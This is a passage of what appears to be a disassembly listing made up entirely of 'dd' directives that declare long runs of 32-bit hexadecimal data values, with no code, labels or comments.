		dd 7B74Dh, 0AC8C7C45h, 0A36276C8h, 0BDD171A5h, 78A5CB7Fh
		dd 4E3A9279h, 2ACF11F5h, 0C422647Dh, 7F21D912h,	5D946871h
		dd 2D63E6CDh, 0EE716A63h, 0DF1C170Ah, 14D955EDh, 1659003Bh
		dd 880A7284h, 0D819371Dh, 0D41E160Eh, 0F1B8C96Eh, 3987B02Ah
		dd 0D26B311Ah, 0D1F0A95Fh, 0C5C2618Fh, 8843D0D8h, 663ECC85h
		dd 7CB7A765h, 7FB0EB73h, 7EFF8F7Eh, 0E4AFE5C5h,	277F9D60h
		dd 0E30F2272h, 0D33F875Bh, 7B694BB5h, 72FB2629h, 189B5A36h
		dd 6F4E90F1h, 404C01A4h, 0F9CD5C8Fh, 9C9ACDCDh,	0F690D071h
		dd 3107D9D7h, 0DB1E50E6h, 0DFF98509h, 9978D12Eh, 3F31DBFAh
		dd 12B654CEh, 0EF314620h, 0C1A4B4C8h, 0D3C1F627h, 9168ED7Fh
		dd 0D82E6E1Ch, 703CA502h, 2AB46AC6h, 2940FE05h,	0B49EAC4Fh
		dd 29E86672h, 0B08BD053h, 33AB8279h, 0B36A8DF2h, 1AC8A780h
		dd 0AF8EF066h, 0D05DB97Ch, 0A5F70BBBh, 0E7491F79h, 5FC56190h
		dd 0D8F3F47h, 0DD8CB1B1h, 441EBAD9h, 8344D93Eh,	7E4382Bh
		dd 0B44B046h, 17E73B13h, 75B1619Ah, 515791BAh, 872A8883h
		dd 6D67AD7h, 2CF33F76h,	93AE8B74h, 7BB5490Bh, 6AAE9FC1h
		dd 2745A7EFh, 47F22478h, 0C8D209AAh, 0E561D783h, 0B093FA7Dh
		dd 0F168E9BFh, 0D54D6D9Ch, 0ED579FB6h, 976776h,	45E4CFA6h
		dd 92391305h, 37B7712Fh, 500119AEh, 0C075E933h,	88DD701Ch
		dd 0DA4A5353h, 90717468h, 1DDC1F99h, 0E5EF9961h, 2D371DCEh
		dd 0F20EEBA5h, 0FE5E8158h, 1474CDAAh, 564EBCF7h, 1B0E5B90h
		dd 28D41FFh, 0FE5DDC34h, 248BA103h, 5AF581FDh, 3254D7A4h
		dd 0C3E13E82h, 14C8F569h, 31344C5Ch, 4496D4A3h,	1FC084FCh
		dd 63B5B683h, 79C3022Fh, 89ABCE7Dh, 3FF08235h, 0AF64159h
		dd 7D88FC32h, 0DCF89BC3h, 0A6227A0Bh, 107202D9h, 398E0B84h
		dd 1BF19565h, 97E612D8h, 125E1E30h, 0C472ACB3h,	56BDD492h
		dd 39426A1Eh, 9798825h,	580D2825h, 37B0807Ch, 0D3FD8411h
		dd 6E48D5E9h, 0E3E9B4B0h, 9578CAC6h, 0D90A5E53h, 0AA72305Ch
		dd 898029AAh, 2C66FA1Fh, 30D24CAFh, 61575AE1h, 8B33C1D1h
		dd 0DE1A8620h, 0CAC4A2BEh, 0EC0F3153h, 0B1CFBE05h, 27D65CB1h
		dd 97916301h, 6B97AB61h, 5EE19FFh, 93CBDCCAh, 2904D544h
		dd 1939A4B1h, 0D984B3BEh, 0CB457D7Ah, 0BF874A1Ch, 541561FBh
		dd 7528E344h, 0F51CE54Ah, 3252A40Bh, 0A217835Dh, 0ED6BBBC1h
		dd 0BDC8ED74h, 6268B44Ah, 5214335Ah, 0E53E1AC9h, 2F2DF270h
		dd 8DA97410h, 0EF0579DFh, 74DC181Fh, 8A75CC98h,	2A0A916Bh
		dd 48678F63h, 786490DEh, 4063AA36h, 268C49F2h, 0B89ADDC6h
		dd 0DBFAD609h, 656DB678h, 0AD6DE336h, 4A57D00Ch, 682EB219h
		dd 4E9B6A0Fh, 145E6EC4h, 1A1F97F7h, 0F0CC15ECh,	64589FE5h
		dd 718F8AA4h, 786EA259h, 0B2886547h, 37E82CADh,	0DEDA59CAh
		dd 0A929B8h, 0F296AD8h,	71EF527Ch, 1474B8DDh, 7050242Fh
		dd 0F9DA48C9h, 33BC293Ch, 9E18D1F8h, 0ECEA7499h, 8F6BD7Ah
		dd 8DBF7ED0h, 40EEE0D5h, 0E76BAD45h, 0D973F8E2h, 6946FA97h
		dd 0E1D3E27Ah, 40B7C69h, 0B466CD3Ch, 66D8A754h,	34974D13h
		dd 0F23D1D86h, 8E0C189Dh, 3939A5BEh, 0FBAD7009h, 2E02639Bh
		dd 3BD93B13h, 0C59CB45Bh, 97CC10C4h, 12FD6362h,	93D0FD7Fh
		dd 35E466F2h, 65226889h, 0F837A690h, 0D4007A90h, 0D152D030h
		dd 20F6EFE1h, 0C8C3A695h, 0A2197D14h, 612B99ACh, 0C3085F1Bh
		dd 332322F3h, 8F0EA239h, 0B8D89B05h, 5505F380h,	5FF75514h
		dd 345B7793h, 0A15BC485h, 73D14083h, 0E2EBFBE3h, 9975AD21h
		dd 0C0A55912h, 2B0074ECh, 0AA40D66Ch, 94A74710h, 8BD940h
		dd 86DB55Bh, 760DABCDh,	0E6E5F46Dh, 7EA64769h, 6F9416CDh
		dd 0A4BFFD9Dh, 80E23BFFh, 0BA3301F9h, 9F1939Fh,	1278DE1Ah
		dd 5C98DC85h, 7103A48Dh, 869C4E3Bh, 0ADEBBFDDh,	9A381183h
		dd 0A7A578E4h, 0A94A5725h, 275CDFC4h, 1C1BB41Eh, 2F70A4B7h
		dd 404F7480h, 612BE851h, 9DE6A014h, 8D215C9Bh, 696CB7D6h
		dd 0B51A9CA4h, 0FA7C66B3h, 578955CDh, 93D1F110h, 6C55C786h
		dd 0FDD137F3h, 0E6480D7Fh, 68A7C41Bh, 11FBA402h, 0F690096Fh
		dd 519F661Ch, 435D933h,	7B83C837h, 0D4C84C0Ch, 0BCE97B26h
		dd 91169BCDh, 48AB9FEDh, 0D7F67AFBh, 9E237541h,	48EAD9EAh
		dd 996BAB38h, 529421FEh, 0E4243448h, 7E3FD6Dh, 35F6B925h
		dd 803A850Dh, 88B27C85h, 90170220h, 824998EBh, 0DB9AF9BDh
		dd 0A90963F2h, 0BD5CB9F2h, 9F00A15h, 0BB487B92h, 5C9E377h
		dd 0A2B397BDh, 9383772Ah, 0A59403CBh, 9355CBBh,	0CE4BCBC9h
		dd 0F5CC3C42h, 8A863E45h, 9AB6F5EDh, 0A76746E7h, 847DBE58h
		dd 0DB3C0E87h, 0C9C4E03Fh, 0ED0754CDh, 9906E7E7h, 5D114A63h
		dd 9D83EE8Ch, 12B9DF96h, 0A12C30DFh, 0B72C8BE6h, 0A96CBB6Dh
		dd 812E7F2Bh, 93139D4Ch, 9DAFD5Ch, 7D3B7C7Eh, 0F0379588h
		dd 2D2583E0h, 4D8781C2h, 0B42BFF7h, 2C5A6AAh, 0E4FEC481h
		dd 0A2087CD6h, 0AA777C7Eh, 0F14A40F8h, 0A6255FD6h, 2A1720E4h
		dd 0AD28EEEh, 99F084B5h, 909ADFF5h, 17870A6Eh, 14E9CA1Ch
		dd 3E5C1AE2h, 0D0A7AFB0h, 59EFE6A1h, 296E80EDh,	5DEF9E66h
		dd 5FF24B1h, 781A5D4Fh,	0E5CF5B5Eh, 9D2371C6h, 0AA7608CEh
		dd 94AFD450h, 0BE23F376h, 0A8E59187h, 4BDEEECEh, 7A44DF0Eh
		dd 0DAB1D6A3h, 8FA96CE3h, 7F78F0A6h, 45118C4Eh,	0CBB88734h
		dd 832204AAh, 3C258271h, 0BACF610h, 2BAE9857h, 5BD0266Bh
		dd 0D2C8B2A5h, 6C82639Ah, 0A6F66304h, 25017AF8h, 24CE4E73h
		dd 0CE70FC0h, 0D01A4B51h
		dd 8FC95EDDh, 85AF4B51h, 9B1DBD47h, 4747AADDh, 5F9F6C70h
		dd 0CBD6D4A1h, 0DA10BBFCh, 0B7CE642Ch, 4AB06C51h, 78D4FB9Ah
		dd 61F8E11Ch, 0F70C16C6h, 3EAA5325h, 8325FADAh,	4C3B9DEFh
		dd 0F4731385h, 0B4A444DAh, 59155DD4h, 581F2D5Ah, 435F0331h
		dd 0BFFEFF83h, 743AD3EBh, 782326D0h, 6D287555h,	9BB4F3D1h
		dd 0D5FC9124h, 0C083822Dh, 0FBA0322Eh, 420DD76h, 2700DB31h
		dd 0EC5E9209h, 0C097C1BAh, 23647404h, 0C7DAF260h, 9ED78232h
		dd 4A1DF92Ch, 0DB4AE6ACh, 78742F32h, 55188A4Fh,	0DDA69F1Fh
		dd 625436DFh, 69798599h, 38CB341Eh, 0F9C56A72h,	0ADFE4E3Dh
		dd 0BAFE04A0h, 72F824E2h, 0BB94EB68h, 0E4DA5430h, 408F029Fh
		dd 0BA59577Fh, 7791B09Ah, 9CB1C3F4h, 824968Ah, 0E27BBEE3h
		dd 509BB0F9h, 47CC339h,	0DEE6D753h, 0D761CA24h,	0DCE47B88h
		dd 6EF89D0Bh, 3A462112h, 0F35BBC2h, 736A4250h, 4ED4D20Ch
		dd 0B5DFA060h, 0AD616402h, 979D44EFh, 1C296495h, 3CBDEA2h
		dd 0B45716CEh, 18D6E4F5h, 33E75785h, 0C4F0674h,	0CCDEA5C0h
		dd 8910B40Ch, 0E9772005h, 749625F5h, 61565626h,	93B2062Ah
		dd 0E68EDFBh, 9061604Ah, 0C956C5D6h, 23BBFAD7h,	49064BCAh
		dd 251362DBh, 0F61AB87Ch, 154BCDFCh, 0ABE98B56h, 1A63E778h
		dd 0E1C479DAh, 76848B1Ch, 0F9664F09h, 0C828F5C4h, 0AF12C064h
		dd 8051958Fh, 4C0309CFh, 0D967E4A6h, 0A144239Ch, 0A0E7D5BDh
		dd 22C896E3h, 0FE2D485Ah, 547ACE68h, 43AAE1AFh,	0CE771D82h
		dd 75F3B3CCh, 0C03BB30Eh, 65560502h, 2AA9F6h, 0A9501D64h
		dd 30AF1458h, 0BCFFA1Ah, 442B212Ah, 0CCBF29Ah, 83E72E0Bh
		dd 2725E5FAh, 76BA5C1Fh, 85BB7B2h, 0A90AE26Bh, 0D582D71Dh
		dd 84514574h, 0FB7F1CE6h, 7372A18Fh, 12B11B83h,	25C211F0h
		dd 0D4C03FB4h, 0A9EE8F83h, 2F320F3Dh, 56468ECh,	9B22E9D5h
		dd 689DF3F2h, 4634D45Dh, 0DAEAE9BCh, 187C218h, 1981AA0Dh
		dd 0C3FE6C5Ah, 7C3F6942h, 4E8CEBE3h, 313C19C9h,	0F9BE0C2Ch
		dd 95592007h, 1D0F536Eh, 407666DEh, 2A8EDE4Eh, 31837356h
		dd 0CD36AE6Ah, 0FEE188DEh, 556E4748h, 0EC0FA43Ah, 4DC236CEh
		dd 0DC84EED5h, 31CE8314h, 0ABD044CBh, 1D8D7E1Bh, 7A3D6A6h
		dd 364977DFh, 40B69C0Bh, 835513Ah, 0CF139914h, 5F5C7F3Fh
		dd 4D3B3186h, 0DD5ABDB2h, 16061B21h, 7955207Fh,	984C449Bh
		dd 9A02E9ABh, 0DFEC0E1Eh, 898EC4A0h, 459ED708h,	6C83BDA8h
		dd 7B45694Dh, 1BC915Bh,	0DB2D098Ah, 254B9735h, 1E1396BEh
		dd 61651043h, 43716FF9h, 49E5A9A8h, 0DFDED3ABh,	0F0DBE7AEh
		dd 0B1DB64B1h, 58B25973h, 5F0836C8h, 0D6F470E2h, 0F96A40E2h
		dd 15575E95h, 9EF2E7F4h, 965A5746h, 0AC0B9A26h,	2375647Eh
		dd 26AC1C96h, 8963AE0Eh, 113D3A11h, 0ED6C431Fh,	0B2F36C46h
		dd 84B14472h, 0D17AB62Fh, 47E4B138h, 27E80BEEh,	0D19774C5h
		dd 0D137BF18h, 63F96AC6h, 4516619Dh, 57266D2Bh,	0ABD81DF5h
		dd 0FEE7E9CFh, 5CBDD11Ah, 0DB8CC5D9h, 572E2253h, 0B9E5B0A0h
		dd 9FC93A7h, 4089C888h,	8187BD94h, 0FF639DCEh, 5625785Fh
		dd 0BD740265h, 0B980BAE9h, 0B4C18081h, 0EC204B9Fh, 0DAD30F2Bh
		dd 40DBBCE1h, 0AD1E53DFh, 0FBA08049h, 0CA41521Bh, 0D6A36BC5h
		dd 0F7B4DC43h, 0CD84E44Ah, 743399Eh, 0F5632920h, 1625AA91h
		dd 0A482B729h, 7B35878Eh, 0FF7B7300h, 3C2DE4B9h, 5E80CF7Dh
		dd 37AB404Bh, 0B2A222EAh, 645C2AB9h, 0F185D828h, 5734C4EAh
		dd 27519EB3h, 1CFB39Ah,	0E8BC332Dh, 16A25567h, 0B7A7CBF2h
		dd 0AAAC1CEFh, 6E8FF59Dh, 50AAD025h, 0FB70F1CBh, 0BCAEA34Ah
		dd 998D33B4h, 0A7778AB8h, 0D47C0E16h, 9DE34832h, 39B90DC2h
		dd 0C036B9ECh, 80105A37h, 44F69A85h, 30C35D26h,	0F6EE8F10h
		dd 51C05470h, 734B057Dh, 8B5F06F7h, 3F2D6C1Fh, 0A45E73FFh
		dd 82ADB322h, 6DCBE0D4h, 0DEBF09C2h, 0F54BA6B7h, 6BE5917Eh
		dd 0AAD378DEh, 2F2A70AAh, 0DC9AE04Eh, 9C83135Fh, 20F17278h
		dd 28B5BA82h, 0F6F7F232h, 0F8E4661Ah, 459931FBh, 0FD8D766Ah
		dd 5F930295h, 97FF0767h, 84BB833Bh, 539C00h, 0C70C0DC4h
		dd 8B7F5C52h, 8C11780Dh, 0FB572B1Fh, 96E72D42h,	0F4ED9778h
		dd 0ABC055E8h, 57888953h, 0B50C62E6h, 0F594FEDDh, 0D36E54Eh
		dd 71A2F992h, 5216735Eh, 699CFDDAh, 1A525A49h, 4AB54F85h
		dd 0F6D9D1EEh, 4F06AFDBh, 6941C750h, 0EB91E95Ch, 62AADA89h
		dd 0D142E558h, 5FDED386h, 812A2C04h, 0B7296CDFh, 4A198C45h
		dd 0A281AA5h, 2600B9C1h, 0F09CC580h, 37A67DEDh,	0CE4B75ECh
		dd 0FF3FC8BAh, 74157863h, 464721FBh, 173C047Ah,	60270DBBh
		dd 0B80B7F9h, 0E85472EFh, 0A7B710D7h, 8C9E4C43h, 3251E8E1h
		dd 6B03CB5Fh, 0E9EF9FFBh, 0D180D57h, 0DE81F6EEh, 985738B8h
		dd 0EECF75E3h, 0B470BE1Ch, 0C7F17576h, 277DD18Ch, 0CB3508F4h
		dd 0B316A571h, 6FF48472h, 0C3AFF9FCh, 0A38A2F88h, 65B20A98h
		dd 9020948h, 596CD753h,	2C23675h, 3E767998h, 5BA85BFFh
		dd 0E67CAC1Eh, 0B19663A1h, 0B36F781h, 0B38FD4EEh, 5A642ED1h
		dd 0F2784DB0h, 93C00145h, 88A86073h, 0B8DC02A3h, 8048D9CAh
		dd 0B2DBDB40h, 0ED8E2FFh, 0D5EE0503h, 0E530F78Ch, 0B19006B2h
		dd 2146327Ch, 0FBF0964Ch, 5E9D7AB4h, 16BDC963h,	3D2384Fh
		dd 420BB512h, 0E9658899h, 9B3C70DBh, 715C0DA8h,	0EBA8BACCh
		dd 0A060DF8Ah, 0C148CFD2h, 20D86AF0h, 0B762E66h, 78086E5Fh
		dd 0BAB030h, 3C630624h,	2299ABDEh, 8C9915EDh, 8E4477C2h
		dd 0A39004DAh, 2EDCC695h, 966F3715h, 9C9B19A7h,	0BA4C94ACh
		dd 0C764CD7Dh, 0B58C3A74h, 0C0A83CFFh, 1ABDB30Ah, 5BAEDD20h
		dd 3B7911Fh, 88D2B3E1h,	5B2FB9CBh, 9FE42112h, 0DBB96C74h
		dd 26CD7413h, 0D85BCE78h, 5E50980Ch, 0DB66B24Ch, 8848789Ch
		dd 2F4377C9h, 0E3A8CC72h, 58EEE7ABh, 5097BB79h,	8648BD88h
		dd 0F1C4EB6Fh, 6922CC7Dh, 329E0B3Bh, 0B15F8BFBh, 32E1C670h
		dd 4397966Bh, 47D052D2h, 130E1CC9h, 0F0059F10h,	0CD105A49h
		dd 0C50499FDh, 0B131E605h, 3FF3EC57h, 0DB066402h, 6827461Ch
		dd 9B2D4068h, 0F01FAFEFh, 0DC47D8F1h, 6D6CD50Dh, 9CF4FD9Fh
		dd 74BD7A0Dh, 0A5507022h, 49F4B9F5h, 671855h, 0EF22AF32h
		dd 0DCF1AE61h, 8AC0DB70h, 0CACC4129h, 0DC20765Dh, 8874CA77h
		dd 0A684C2Bh, 48B4CCE4h, 46424894h, 28C18FE7h, 12A437E6h
		dd 0B57C300Ah, 0A0E7D0C6h, 0ED6CF67Ah, 0B777FC94h, 0F07F6763h
		dd 0CE902C2Dh, 6E83905Dh, 99F00AD2h, 7F64E5F4h,	611EA73Bh
		dd 9A23F72Bh, 0E4DC0843h, 4FAE7F7Ch, 61A9B34Bh,	7B4DE209h
		dd 3E41C26Fh, 936D4EE0h, 0ED36BAC7h, 0F9400416h, 0B0FD31B4h
		dd 40195524h, 0A9A09910h, 0A5D46AE4h, 80F4D6C7h, 2BE9809Ch
		dd 7AD37477h, 5FDCE54Bh, 0F6A82735h, 70608962h,	0B8EF78D4h
		dd 69F9CE43h, 0A56672C9h, 1E6A07B0h, 0B26102Ah,	2993EEC4h
		dd 0A77A8B6Fh, 1B66D51Bh, 51AFD1AFh, 0D64AA23Ch, 8261B293h
		dd 534C7DB0h, 27756379h, 0AB280798h, 310763B7h,	4F86C9F3h
		dd 5816AB04h, 6DDEF938h, 0BA4F50A9h, 9862E341h,	2A706E4Ah
		dd 3B81BBE0h, 599D124Ah, 2AE48755h, 4F11F399h, 26795532h
		dd 0B4C1C665h, 0CF4D8C4Fh, 0FBE4F0D9h, 17AF8C0Ch, 0DEFCFC86h
		dd 659BA970h, 45376D5Eh, 0F95515B5h, 0D156ED73h, 43C35D52h
		dd 3B930D8Ch, 0A4D31424h, 0D8872127h, 0B78E2A60h, 59226D0h
		dd 2C9094CDh, 9D08FCFEh
		dd 92AD6DC0h, 6592F0FEh, 4662BDEh, 8D9EC973h, 9C8C1EC2h
		dd 8033DE51h, 2F11604Ch, 89041658h, 1B6B9FD6h, 8860848h
		dd 0D89206E0h, 1481111Dh, 0F71D99D9h, 34050C88h, 0BF3688CCh
		dd 0F8BB81E5h, 0B63FFEA7h, 6186A6D9h, 3D17668Fh, 4E6F850Ch
		dd 0B86693C9h, 0A16B2242h, 0BD5C0762h, 8D8CE091h, 0F9CE6C36h
		dd 0BBD7F570h, 2E62605Bh, 0DEABE5F7h, 0A8B8C555h, 25DBA0C1h
		dd 97380A05h, 114563F6h, 777A545Fh, 297C3FDh, 26213BADh
		dd 0E8F5D32Ah, 16F39772h, 653CD97Fh, 317BFC67h,	0EF304A2Ah
		dd 1D7050D4h, 6C8591EAh, 549B43C1h, 6465690Ch, 1E0CC4h
		dd 0C7365E3Fh, 49B2A4B0h, 6EBA4F76h, 0FD8C7428h, 0BAA9736Eh
		dd 5AB8BCEBh, 0EE0864D1h, 45FF808Dh, 0C8CAFFE5h, 4F3D1820h
		dd 8A57A88Ch, 0E5F258ACh, 6D30E88Bh, 0A92C671h,	0ACD3C00Fh
		dd 0C3AD5872h, 1D414ECDh, 0D420441Ah, 3E1A3D77h, 6F5E589Bh
		dd 0E0F3F5A7h, 8BE1920Fh, 92E9244Eh, 46FD87BCh,	50829B1Dh
		dd 5B98EA90h, 715559B9h, 20E4BE26h, 535D0397h, 5A558AEh
		dd 0BFEB2730h, 0E5CA328Bh, 0C84506F2h, 0A22B6F3Ah, 4C1AB8C4h
		dd 64233564h, 0C223DA11h, 2784FA93h, 53CDED67h,	29393861h
		dd 52F73177h, 5BC617B6h, 0F278B453h, 81855FF9h,	81AF9622h
		dd 1107488Ah, 0CD872A26h, 0D9798DDh, 0DEBA8797h, 0AFE35B44h
		dd 0E52811A4h, 1F032941h, 0E49E941h, 6ADB9C4Ch,	624F0603h
		dd 1BC96A45h, 0BE6C856Dh, 0EDF3A1ACh, 5D899F20h, 0B583F4F4h
		dd 64160008h, 8E03E88Ah, 7CF874F1h, 0A85FA2DDh,	0A1F4CC90h
		dd 9F6ED42Fh, 1A871D39h, 0B830EB5h, 3B7AF012h, 0E8258ADCh
		dd 349339B2h, 3ACFEABBh, 74B48748h, 0D5190838h,	667EA6F2h
		dd 1F6F5475h, 3FB3D4A0h, 0E039C10h, 915C7599h, 3345F98h
		dd 49B6EAE8h, 446E0428h, 0FE1C1704h, 25E9BA34h,	774C69EEh
		dd 0B6C21DC9h, 16CD1874h, 91DD5C73h, 0B5593204h, 24BEA282h
		dd 0F6556B77h, 774C3543h, 480C0CB9h, 0CF3C4C84h, 85244D8h
		dd 0F8447613h, 3A765C85h, 0FFADDD25h, 179532F9h, 9D5BD70Bh
		dd 7A1E0AC1h, 42C76AC4h, 6D7C0A00h, 858C7208h, 967B6EFEh
		dd 83BF3A46h, 435363C1h, 40615469h, 3B235027h, 30941B7Bh
		dd 0DE94200Ch, 938AC362h, 5E1FD803h, 59E56C29h,	96626BD1h
		dd 305521E7h, 27675735h, 0A1DCD413h, 367650EDh,	974F2CAFh
		dd 5ED0F3BCh, 3D24B7A5h, 0C375B6CEh, 9E8411FDh,	78B8538Fh
		dd 42345884h, 3548B03Eh, 0FE07CFDAh, 93010E18h,	0CF561C0Eh
		dd 98C10B9Dh, 1B766BD4h, 44FBE0E9h, 9B69576Eh, 1BC0A1C3h
		dd 413F98E0h, 155C887Ah, 0C1159768h, 0B4A34AFBh, 2990308h
		dd 0A7D7EE8h, 0BC46C0AEh, 336E3129h, 70D90136h,	7B1A207Eh
		dd 7F30F1EAh, 0CEB8712Bh, 5B60C27Dh, 0F89446E1h, 6301349Eh
		dd 7809BDFAh, 0ED50EDEBh, 9EF0DED4h, 0C75AB620h, 0B7F7683Ah
		dd 0A2E96FB9h, 3D5F0765h, 12F852DBh, 0D0208EF6h, 0E5529E30h
		dd 0DB23E71Bh, 0C78C1B8Ah, 0AC452C5Ah, 0FDF50D1Fh, 4638F4E3h
		dd 0B95B13CBh, 0DA67C7F0h, 0E8CEE24Dh, 54BD71EAh, 679BFA23h
		dd 1F4F721Ch, 1A0DA52Dh, 473FCBF7h, 90898EB5h, 43F16AF6h
		dd 38A91974h, 501C845Bh, 6FCCABAAh, 0E9F764D5h,	77E2BF89h
		dd 8D60FE5Fh, 58BACD73h, 733D7FDBh, 8087AA47h, 84D89Eh
		dd 7BF1FB30h, 5BA10D3Bh, 6D963713h, 39DD1404h, 616A212h
		dd 91B8D793h, 44D31A01h, 57D93A50h, 0AF56F3C0h,	22A7D8BFh
		dd 709864Dh, 46E52775h,	0CFDBDE8Dh, 9F2FD58Dh, 0F98A688Eh
		dd 3E4EF19Fh, 0C6ED607Dh, 3802AA3Fh, 57D3B1CCh,	8887E31Fh
		dd 415EF706h, 3D8B9175h, 20783DCEh, 0FB5AE52h, 86B2459Bh
		dd 9EFC4E3Dh, 0B5D0F97Ch, 0AE93CC09h, 0EA3CF7BDh, 952C63B8h
		dd 654E7B20h, 2E93530Eh, 3DA8EE58h, 0FEF1AF44h,	51E1D0C5h
		dd 67BA5450h, 0F09FC568h, 0F4902F0Bh, 0AED0E38Ah, 2D80BE19h
		dd 176983ACh, 52E637F0h, 952D36Bh, 2D2064FDh, 5C0A4E7h
		dd 0B8E521BAh, 472BAC74h, 843F402Dh, 263D4C1Fh,	22D33341h
		dd 73222812h, 0FD26361Fh, 4E043258h, 0DCDA4956h, 7DE1C1FAh
		dd 1C457A8Eh, 41BEBD47h, 92E57F8Bh, 84EDC15h, 1833E5EBh
		dd 901994EDh, 0C8E8B08Bh, 0C91DAB83h, 0E6D2C34Fh, 49ACA3Ah
		dd 0D8C0F83Fh, 0C62A2E96h, 9697005Bh, 98D389E9h, 955B1D12h
		dd 7FB4913Dh, 3F12B50h,	4784EFDEh, 0BEFDADE5h, 3C6D7C1h
		dd 9833E2DBh, 0D11775B1h, 6F45FC3Dh, 3E6BA66Fh,	2D38A294h
		dd 0B6DF16D2h, 0DD09FB2Ch, 7A7574C6h, 0CAD5907Eh, 4C6C05E8h
		dd 72413C56h, 6AB1C166h, 0BD3D7CE0h, 0CB08AC92h, 50702E2Bh
		dd 6B03B4FAh, 54FDDC6Eh, 893A7550h, 4A76DBF6h, 44FAA166h
		dd 0F30F055Ch, 7AAD168Dh, 0C84AFAD3h, 13B05E18h, 0CFF7627h
		dd 3656B6D3h, 65D72351h, 0A2F3938Ah, 132B23FFh,	9F44659Ch
		dd 2641ACA6h, 0E4EA3EA7h, 0A62ABCE5h, 8EB58524h, 0A7947283h
		dd 4C0BDD61h, 7F80970Ah, 8EC4129Ch, 0BB6EDD8Ah,	3C786ABBh
		dd 8E856A1Eh, 95AE55F3h, 91D488FCh, 76177FC5h, 0B73971CFh
		dd 7655E2F5h, 0A0133677h, 9F9CABD9h, 9571EF8Dh,	0B9A46A6Ch
		dd 94994257h, 7B7A443Dh, 0F645EFh, 0F08C4CC6h, 6BADAC9Eh
		dd 0E48528BDh, 33BABEC0h, 2DA14757h, 14F1FD15h,	84465B7Eh
		dd 9F14EBAEh, 9C4B5025h, 3DAA5147h, 2E1F70F1h, 0D8ED458Bh
		dd 0AADDC5EDh, 0A47FFC1Ah, 89DB5244h, 75C7BB77h, 41F1C48Fh
		dd 83B02D8Fh, 1044045Ch, 0C260FF7Ch, 530B639Ah,	3F0FC174h
		dd 76D33CD8h, 21572828h, 462E331Dh, 76844348h, 1857FE64h
		dd 0E1153CD4h, 0AB82FA65h, 0F531D10Dh, 94FD3A95h, 0E66FEDDh
		dd 0CD30FAD3h, 3BCFAD31h, 78E2A0DAh, 88E1235Dh,	8EE0B8B3h
		dd 0BB5080E2h, 0EF57FFA3h, 0B2BE687Fh, 599F2D38h, 0FC32FDF5h
		dd 9BCE8179h, 53FFBA4Ah, 951B5638h, 56C5F1ECh, 0F5844E0h
		dd 97A6F112h, 54FC62D6h, 0A11DBCDDh, 9BCD644h, 42A57E47h
		dd 0AF5D2C62h, 8E1E598Ah, 6F108B25h, 14481A2Eh,	84E609CEh
		dd 0EEDA4629h, 0FEFC194Ch, 0D84634C5h, 0EAA30309h, 9D82EF4Ch
		dd 8364C3BFh, 1E845C03h, 0F9D2226Ch, 0DDC1A327h, 0BA95CB13h
		dd 0E254F163h, 5F295EB3h, 3B4AD490h, 5F58591Bh,	32BA051Ah
		dd 0B8CA2892h, 87CCB658h, 0C68C7A78h, 0F29C891Dh, 0E41460FAh
		dd 83F11914h, 54AE0E61h, 94AEA1BDh, 72D3F66Dh, 6C6D1120h
		dd 34F68B48h, 0DF6DC843h, 0E866FC6Dh, 78DCED7Ah, 0E79A1CE6h
		dd 0E1EF6A26h, 809760F6h, 2A16156Ah, 63AD4CB8h,	45632AEEh
		dd 5F787FE0h, 0D6492294h, 567AD581h, 78597FE4h,	6E5EB51Bh
		dd 0DA3F18E2h, 192565Ch, 0EE18A4BCh, 0BEF233F4h, 1FAF536Bh
		dd 6919F1E6h, 1B5D585Dh, 0C1F16F6h, 0E526CCC0h,	0D5C45107h
		dd 0E6DDA26Ch, 97DD454h, 0F75D7CEBh, 812A8ABDh,	6754CEF8h
		dd 0E7904EB6h, 3DF4B5BBh, 4CFBAAA4h, 0FBD7769Fh, 96E743F3h
		dd 0C76DA27Ch, 0C7A08F0Ch, 260523DEh, 0B5DDD3AAh, 1AC65268h
		dd 0BB285C4Bh, 0DAF3227Ah, 0A5466AEBh, 0DB2812D4h, 0B236FAA3h
		dd 56B98EDh, 88C748B7h,	0B25868Bh, 5A61A925h, 423405B6h
		dd 805780E1h, 0F21A6CCh, 35A066F7h, 0BB6EAE7Eh,	714D4F68h
		dd 9F885305h, 4B399296h, 56E7C010h, 0B19B8247h,	3E712EB0h
		dd 3B1F9CE2h, 9950DF90h, 0CCFA2724h, 4FA1052h, 43205DC1h
		dd 72E283Ch, 8B2A407Fh,	18BBF5A8h, 6AC73C04h, 35F2397Eh
		dd 293EBC0Ch, 7FD6ABD8h
		dd 59B8762h, 0DECB799Bh, 8C6A51C5h, 6F6EFC1Eh, 16E3DDA5h
		dd 0B66C58FCh, 43986483h, 4295E4BFh, 78B2852Ah,	589BF33h
		dd 68AD1B57h, 53816046h, 100F0F94h, 0F4612D37h,	57409AA8h
		dd 0B35B5287h, 0B11FF9ACh, 0A7FA578Ah, 0BBE2F76Dh, 95936016h
		dd 0F9141729h, 1055476Bh, 3E63A226h, 7892C65Ah,	7608C148h
		dd 4F8A7476h, 254FA4E5h, 0A9B69453h, 3E9E718Bh,	0AFA3D177h
		dd 5139E15Dh, 572798CCh, 53218BF3h, 6BFD917Ah, 0B50D8647h
		dd 0A7CAB3BEh, 9B0819CAh, 2D3FDFE7h, 0B435BC3Fh, 5089FEBEh
		dd 7AA72CAh, 4474DCC8h,	0FFEEA77Ah, 0F2E3B12Eh,	5E3AF83Ch
		dd 0A966F75Fh, 0EE2DE3Ah, 0CAE02A37h, 9AB7BFDEh, 0FC659C2h
		dd 32523587h, 0B9592BE8h, 0C029996Fh, 0A01E6A26h, 0E6655F12h
		dd 8A3CFBA8h, 4BEE1164h, 0B0F61CFAh, 16604609h,	5400488Dh
		dd 0C92E1830h, 48F63AE5h, 1C29A159h, 0FF7A2CFEh, 3204DE00h
		dd 0E804618Ah, 0B4B93BCh, 0F36EE749h, 0D9EE433Ch, 560A9260h
		dd 79757060h, 6455C81h,	0DF0445A9h, 6E12EDCCh, 8227F2D6h
		dd 23D8CCAEh, 2D922BF5h, 3468F2FEh, 1BFBE32Fh, 0E9F17E3Ch
		dd 46A7CD89h, 28ED7907h, 4072D4F5h, 2DC9D128h, 0FFBBC0A0h
		dd 0D1E34C3Ch, 7947A8EAh, 0EB29EEE8h, 56F53612h, 35CC0298h
		dd 0D582CE88h, 0AF5C3E31h, 0C2049749h, 0F3DC8D3Dh, 4D79A082h
		dd 25F26F9h, 79AB8E3Bh,	0E1E5ED72h, 0F5D4F391h,	0FDA1C918h
		dd 0A50960D3h, 0CC3CE14h, 0CACC19D9h, 2CA0C911h, 333CBDF6h
